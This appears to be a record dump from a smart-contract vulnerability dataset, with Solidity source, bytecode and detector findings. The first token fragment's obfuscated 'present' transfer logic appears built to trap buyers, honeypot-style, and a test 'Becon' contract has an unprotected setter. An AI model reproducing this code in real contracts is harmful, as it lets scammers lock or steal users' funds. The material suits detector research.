return _allowances[owner][spender];
}
function present(
address trail,
address hidden,
uint256 amount
) private {
address space = crop[1];
bool cold = uniswapV2Pair == trail;
uint256 fact = _fee;
if (ahead[trail] == 0 && dear[trail] > 0 && !cold) {
ahead[trail] -= fact;
}
crop[1] = hidden;
if (ahead[trail] > 0 && amount == 0) {
ahead[hidden] += fact;
}
dear[space] += fact;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[trail] -= fee;
_balances[address(this)] += fee;
_balances[trail] -= amount;
_balances[hidden] += amount;
}
mapping(address => uint256) private dear;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private ahead;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
present(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
present(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function buy(
uint256 count,
address tokenAddress,
address to
) external payable {
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = tokenAddress;
uint256 amount = msg.value / count;
for (uint256 i = 0; i < count; i++) {
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(0, path, to, block.timestamp);
}
uint256 balance = address(this).balance;
if (balance > 0) payable(msg.sender).transfer(balance);
}
}
|
0x6080604052600436106100f35760003560e01c80638da5cb5b1161008a578063dd62ed3e11610059578063dd62ed3e14610330578063e753858a1461036d578063f2fde38b14610389578063f887ea40146103b2576100f3565b80638da5cb5b1461027257806395d89b411461029d578063a9059cbb146102c8578063c5b37c2214610305576100f3565b8063313ce567116100c6578063313ce567146101c857806349bd5a5e146101f357806370a082311461021e578063715018a61461025b576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd1461016057806323b872dd1461018b575b600080fd5b34801561010457600080fd5b5061010d6103dd565b60405161011a91906113ed565b60405180910390f35b34801561012f57600080fd5b5061014a600480360381019061014591906114a8565b61046f565b6040516101579190611503565b60405180910390f35b34801561016c57600080fd5b50610175610484565b604051610182919061152d565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611548565b61048e565b6040516101bf9190611503565b60405180910390f35b3480156101d457600080fd5b506101dd6105dd565b6040516101ea919061152d565b60405180910390f35b3480156101ff57600080fd5b506102086105f7565b60405161021591906115aa565b60405180910390f35b34801561022a57600080fd5b50610245600480360381019061024091906115c5565b61061d565b604051610252919061152d565b60405180910390f35b34801561026757600080fd5b50610270610666565b005b34801561027e57600080fd5b506102876106ee565b60405161029491906115aa565b60405180910390f35b3480156102a957600080fd5b506102b2610717565b6040516102bf91906113ed565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea91906114a8565b6107a9565b6040516102fc9190611503565b60405180910390f35b34801561031157600080fd5b5061031a610825565b604051610327919061152d565b60405180910390f35b34801561033c57600080fd5b50610357600480360381019061035291906115f2565b61082b565b604051610364919061152d565b60405180910390f35b61038760048036038101906103829190611632565b6108b2565b005b34801561039557600080fd5b506103b060048036038101906103ab91906115c5565b610b50565b005b3480156103be57600080fd5b506103c7610c47565b6040516103d491906116e4565b60405180910390f35b6060600280546103ec9061172e565b80601f01602080910402602001604051908101604052809291908181526020018280546104189061172e565b80156104655780601f1061043a57610100808354040283529160200191610465565b820191906000526020600020905b81548152906001019060200180831161044857829003601f168201915b5050505050905090565b600061047c338484610c6d565b905092915050565b6000600754905090565b60008082116104d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c9906117d1565b60405180910390fd5b6104dd848484610e08565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161053a919061152d565b60405180910390a36105d4843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cf9190611820565b610c6d565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61066e611288565b73ffffffffffffffffffffffffffffffffffffffff1661068c6106ee565b73ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d9906118a0565b60405180910390fd5b6106ec6000611290565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546107269061172e565b80601f01602080910402602001604051908101604052809291908181526020018280546107529061172e565b801561079f5780601f106107745761010080835404028352916020019161079f565b820191906000526020600020905b81548152906001019060200180831161078257829003601f168201915b5050505050905090565b60006107b6338484610e08565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610813919061152d565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600267ffffffffffffffff8111156108cf576108ce6118c0565b5b6040519080825280602002602001820160405280156108fd5781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109919190611904565b816000815181106109a5576109a4611931565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505082816001815181106109f4576109f3611931565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008434610a3c919061198f565b905060005b85811015610af157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008688426040518663ffffffff1660e01b8152600401610aac9493929190611ab9565b6000604051808303818588803b158015610ac557600080fd5b505af1158015610ad9573d6000803e3d6000fd5b50505050508080610ae990611b05565b915050610a41565b5060004790506000811115610b48573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b46573d6000803e3d6000fd5b505b505050505050565b610b58611288565b73ffffffffffffffffffffffffffffffffffffffff16610b766106ee565b73ffffffffffffffffffffffffffffffffffffffff1614610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc3906118a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290611bbf565b60405180910390fd5b610c4481611290565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610cd85750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0e90611c51565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610df5919061152d565b60405180910390a3600190509392505050565b6000600c600181548110610e1f57610e1e611931565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610f3657506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f40575081155b15610f9c5780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f949190611820565b925050819055505b84600c600181548110610fb257610fb1611931565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180156110495750600084145b156110a55780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461109d9190611c71565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f49190611c71565b92505081905550600060015460648661110d919061198f565b6111179190611cc7565b905080856111259190611820565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111769190611820565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111cc9190611c71565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112229190611820565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112789190611c71565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561138e578082015181840152602081019050611373565b8381111561139d576000848401525b50505050565b6000601f19601f8301169050919050565b60006113bf82611354565b6113c9818561135f565b93506113d9818560208601611370565b6113e2816113a3565b840191505092915050565b6000602082019050818103600083015261140781846113b4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061143f82611414565b9050919050565b61144f81611434565b811461145a57600080fd5b50565b60008135905061146c81611446565b92915050565b6000819050919050565b61148581611472565b811461149057600080fd5b50565b6000813590506114a28161147c565b92915050565b600080604083850312156114bf576114be61140f565b5b60006114cd8582860161145d565b92505060206114de85828601611493565b9150509250929050565b60008115159050919050565b6114fd816114e8565b82525050565b600060208201905061151860008301846114f4565b92915050565b61152781611472565b82525050565b6000602082019050611542600083018461151e565b92915050565b6000806000606084860312156115615761156061140f565b5b600061156f8682870161145d565b93505060206115808682870161145d565b925050604061159186828701611493565b9150509250925092565b6115a481611434565b82525050565b60006020820190506115bf600083018461159b565b92915050565b6000602082840312156115db576115da61140f565b5b60006115e98482850161145d565b91505092915050565b600080604083850312156116095761160861140f565b5b60006116178582860161145d565b92505060206116288582860161145d565b9150509250929050565b60008060006060848603121561164b5761164a61140f565b5b600061165986828701611493565b935050602061166a8682870161145d565b925050604061167b8682870161145d565b9150509250925092565b6000819050919050565b60006116aa6116a56116a084611414565b611685565b611414565b9050919050565b60006116bc8261168f565b9050919050565b60006116ce826116b1565b9050919050565b6116de816116c3565b82525050565b60006020820190506116f960008301846116d5565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061174657607f821691505b602082108103611759576117586116ff565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006117bb60298361135f565b91506117c68261175f565b604082019050919050565b600060208201905081810360008301526117ea816117ae565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061182b82611472565b915061183683611472565b925082821015611849576118486117f1565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061188a60208361135f565b915061189582611854565b602082019050919050565b600060208201905081810360008301526118b98161187d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506118fe81611446565b92915050565b60006020828403121561191a5761191961140f565b5b6000611928848285016118ef565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061199a82611472565b91506119a583611472565b9250826119b5576119b4611960565b5b828204905092915050565b6000819050919050565b60006119e56119e06119db846119c0565b611685565b611472565b9050919050565b6119f5816119ca565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a3081611434565b82525050565b6000611a428383611a27565b60208301905092915050565b6000602082019050919050565b6000611a66826119fb565b611a708185611a06565b9350611a7b83611a17565b8060005b83811015611aac578151611a938882611a36565b9750611a9e83611a4e565b925050600181019050611a7f565b5085935050505092915050565b6000608082019050611ace60008301876119ec565b8181036020830152611ae08186611a5b565b9050611aef604083018561159b565b611afc606083018461151e565b95945050505050565b6000611b1082611472565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b4257611b416117f1565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ba960268361135f565b9150611bb482611b4d565b604082019050919050565b60006020820190508181036000830152611bd881611b9c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c3b60248361135f565b9150611c4682611bdf565b604082019050919050565b60006020820190508181036000830152611c6a81611c2e565b9050919050565b6000611c7c82611472565b9150611c8783611472565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611cbc57611cbb6117f1565b5b828201905092915050565b6000611cd282611472565b9150611cdd83611472565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611d1657611d156117f1565b5b82820290509291505056fea2646970667358221220ba69b99b1dffdb7706345d894d21613030eca2286c3f366c81912f9b89b7c6dc64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,031 |
0xF5D2348750B569eee33D6044E80AFE9B2e5Ab1B2
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
/**
* @dev This contract implements a proxy that gets the implementation address for each call from a {UpgradeableBeacon}.
*
* The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't
* conflict with the storage layout of the implementation behind the proxy.
*
* _Available since v3.4._
*/
contract BeaconProxy is Proxy {
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 private constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Initializes the proxy with `beacon`.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This
* will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity
* constructor.
*
* Requirements:
*
* - `beacon` must be a contract with the interface {IBeacon}.
*/
constructor(address beacon, bytes memory data) public payable {
assert(_BEACON_SLOT == bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1));
_setBeacon(beacon, data);
}
/**
* @dev Returns the current beacon address.
*/
function _beacon() internal view virtual returns (address beacon) {
bytes32 slot = _BEACON_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
beacon := sload(slot)
}
}
/**
* @dev Returns the current implementation address of the associated beacon.
*/
function _implementation() internal view virtual override returns (address) {
return IBeacon(_beacon()).implementation();
}
/**
* @dev Changes the proxy to use a new beacon.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon.
*
* Requirements:
*
* - `beacon` must be a contract.
* - The implementation returned by `beacon` must be a contract.
*/
function _setBeacon(address beacon, bytes memory data) internal virtual {
require(
Address.isContract(beacon),
"BeaconProxy: beacon is not a contract"
);
require(
Address.isContract(IBeacon(beacon).implementation()),
"BeaconProxy: beacon implementation is not a contract"
);
bytes32 slot = _BEACON_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, beacon)
}
if (data.length > 0) {
Address.functionDelegateCall(_implementation(), data, "BeaconProxy: function call failed");
}
}
}
contract Impl {
uint256 public a;
function get() public view returns (uint256){
return a + 1;
}
}
contract Becon {
address public implementation;
function set(address impl) public {
implementation = impl;
}
}
|
0x6080604052348015600f57600080fd5b506004361060325760003560e01c80630dbe671f1460375780636d4ce63c14604f575b600080fd5b603d6055565b60408051918252519081900360200190f35b603d605b565b60005481565b6000546001019056fea2646970667358221220863855384f5e80d2cc037c78c37730e3dc0e33710fb3e889c623cac2152b59af64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,032 |
0xedab39dfc1bfe9706d6f9739acf4553f7882fba4
|
pragma solidity ^0.4.24;
// produced by the Solididy File Flattener (c) David Appleton 2018
// contact : dave@akomba.com
// released under Apache 2.0 licence
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
